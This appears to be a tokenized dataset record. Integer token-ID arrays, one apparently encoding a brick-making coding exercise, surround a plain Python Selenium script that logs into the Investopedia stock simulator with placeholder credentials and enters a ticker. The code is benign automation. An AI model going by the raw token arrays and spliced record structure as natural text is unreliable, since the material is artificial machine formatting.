[ 1, 396, 8561, 1771, 7358, 13, 13, 4806, 864, 304, 1207, 263, 1948, 310, 1506, 7358, 393, 338, 7306, 22831, 1472, 29889, 1334, 505, 263, 1353, 310, 2319, 1506, 7358, 313, 29896, 297, 305, 1269, 29897, 322, 29871, 13, 3752, 1506, 7358, 313, 29945, 22831, 1269, 467, 7106, 5852, 565, 372, 338, 1950, 304, 1207, 278, 7306, 491, 23906, 515, 278, 1053, 29871, 13, 29887, 5428, 1506, 7358, 29889, 910, 338, 263, 2217, 22622, 1135, 372, 3430, 322, 508, 367, 2309, 1728, 738, 12104, 29889, 29871, 13, 13393, 884, 29901, 27576, 304, 8561, 12432, 7358, 29871, 13, 13, 29930, 1207, 29918, 1182, 7358, 29898, 29941, 29892, 29871, 29896, 29892, 29871, 29947, 29897, 10309, 5852, 13, 29930, 1207, 29918, 1182, 7358, 29898, 29941, 29892, 29871, 29896, 29892, 29871, 29929, 29897, 10309, 7700, 13, 29930, 1207, 29918, 1182, 7358, 29898, 29941, 29892, 29871, 29906, 29892, 29871, 29896, 29900, 29897, 10309, 5852, 13, 2 ]
__scraping__/investopedia.com - selenium/main.py
furas/python-code
2
166149
<gh_stars>1-10 # author: Bartlomiej "furas" Burek (https://blog.furas.pl) # date: 2022.03.11 # [Scraping Investopedia using selenium python - Stack Overflow](https://stackoverflow.com/questions/71443533/scraping-investopedia-using-selenium-python/71444720#71444720) from selenium import webdriver from selenium.webdriver.common.by import By from webdriver_manager.chrome import ChromeDriverManager #from webdriver_manager.firefox import GeckoDriverManager import time # --- functions --- # PEP8: `lower_case_names` def login(): driver.get(r'https://www.investopedia.com/simulator/home.aspx') driver.implicitly_wait(10) driver.find_element(By.ID, 'username').send_keys('<EMAIL>') time.sleep(0.5) driver.find_element(By.ID, 'password').send_keys('<PASSWORD>') time.sleep(0.5) driver.find_element(By.ID, 'login').click() def get_trade_page(): url = 'https://www.investopedia.com/simulator/trade/stocks' driver.get(url) def set_stock(ticker): driver.find_element(By.XPATH, '//input[@placeholder="Look up Symbol/Company Name"]').send_keys(ticker) #driver.find_element(By.XPATH, '//div[@role="option"]').click() option = driver.find_element(By.XPATH, '//div[@role="option"]') driver.execute_script('arguments[0].click()', option) # --- main --- driver = webdriver.Chrome(executable_path=ChromeDriverManager().install()) #driver = webdriver.Firefox(executable_path=GeckoDriverManager().install()) login() get_trade_page() set_stock('hvt') #driver.close()
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 4148, 29901, 12245, 29880, 290, 8586, 376, 29888, 10939, 29908, 350, 545, 29895, 313, 991, 597, 7312, 29889, 29888, 10939, 29889, 572, 29897, 13, 29937, 2635, 29901, 29871, 29906, 29900, 29906, 29906, 29889, 29900, 29941, 29889, 29896, 29896, 13, 29937, 518, 4421, 2390, 292, 512, 10147, 459, 1381, 773, 18866, 3017, 448, 10292, 28845, 850, 991, 597, 2417, 29889, 510, 29914, 2619, 29914, 29955, 29896, 29946, 29946, 29941, 29945, 29941, 29941, 29914, 1557, 2390, 292, 29899, 262, 10147, 459, 1381, 29899, 4746, 29899, 27373, 29899, 4691, 29914, 29955, 29896, 29946, 29946, 29946, 29955, 29906, 29900, 29937, 29955, 29896, 29946, 29946, 29946, 29955, 29906, 29900, 29897, 13, 13, 3166, 18866, 1053, 1856, 9465, 13, 3166, 18866, 29889, 29813, 29889, 9435, 29889, 1609, 1053, 2648, 13, 3166, 1856, 9465, 29918, 12847, 29889, 18114, 1053, 10228, 12376, 3260, 13, 29937, 3166, 1856, 9465, 29918, 12847, 29889, 8696, 8944, 1053, 1879, 27604, 12376, 3260, 13, 5215, 931, 13, 13, 29937, 11474, 3168, 11474, 29871, 396, 349, 15488, 29947, 29901, 421, 13609, 29918, 4878, 29918, 7039, 29952, 13, 13, 1753, 6464, 7295, 13, 1678, 7156, 29889, 657, 29898, 29878, 29915, 991, 597, 1636, 29889, 262, 10147, 459, 1381, 29889, 510, 29914, 3601, 9183, 29914, 5184, 29889, 6307, 1495, 13, 1678, 7156, 29889, 6574, 4019, 368, 29918, 10685, 29898, 29896, 29900, 29897, 13, 268, 13, 1678, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 1367, 29892, 525, 6786, 2824, 6717, 29918, 8149, 877, 29966, 26862, 6227, 29958, 1495, 13, 1678, 931, 29889, 17059, 29898, 29900, 29889, 29945, 29897, 13, 268, 13, 1678, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 1367, 29892, 525, 5630, 2824, 6717, 29918, 8149, 877, 29966, 25711, 17013, 29958, 1495, 13, 1678, 931, 29889, 17059, 29898, 29900, 29889, 29945, 29897, 13, 268, 13, 1678, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 1367, 29892, 525, 7507, 2824, 3808, 580, 13, 13, 1753, 679, 29918, 3018, 311, 29918, 3488, 7295, 13, 1678, 3142, 353, 525, 991, 597, 1636, 29889, 262, 10147, 459, 1381, 29889, 510, 29914, 3601, 9183, 29914, 3018, 311, 29914, 17712, 29879, 29915, 13, 1678, 7156, 29889, 657, 29898, 2271, 29897, 13, 13, 1753, 731, 29918, 17712, 29898, 29873, 6541, 1125, 13, 1678, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 29990, 10145, 29892, 525, 458, 2080, 17548, 27074, 543, 14959, 701, 23858, 29914, 21410, 4408, 3108, 2824, 6717, 29918, 8149, 29898, 29873, 6541, 29897, 13, 268, 13, 1678, 396, 9465, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 29990, 10145, 29892, 525, 458, 4563, 17548, 12154, 543, 3385, 3108, 2824, 3808, 580, 13, 268, 13, 1678, 2984, 353, 7156, 29889, 2886, 29918, 5029, 29898, 2059, 29889, 29990, 10145, 29892, 525, 458, 4563, 17548, 12154, 543, 3385, 3108, 1495, 13, 1678, 7156, 29889, 7978, 29918, 2154, 877, 25699, 29961, 29900, 1822, 3808, 580, 742, 2984, 29897, 13, 13, 29937, 11474, 1667, 11474, 13, 13, 9465, 353, 1856, 9465, 29889, 1451, 4871, 29898, 4258, 9246, 29918, 2084, 29922, 1451, 4871, 12376, 3260, 2141, 6252, 3101, 13, 29937, 9465, 353, 1856, 9465, 29889, 18654, 8944, 29898, 4258, 9246, 29918, 2084, 29922, 7999, 27604, 12376, 3260, 2141, 6252, 3101, 13, 13, 7507, 580, 13, 657, 29918, 3018, 311, 29918, 3488, 580, 13, 842, 29918, 17712, 877, 29882, 21908, 1495, 13, 13, 29937, 9465, 29889, 5358, 580, 13, 13, 2 ]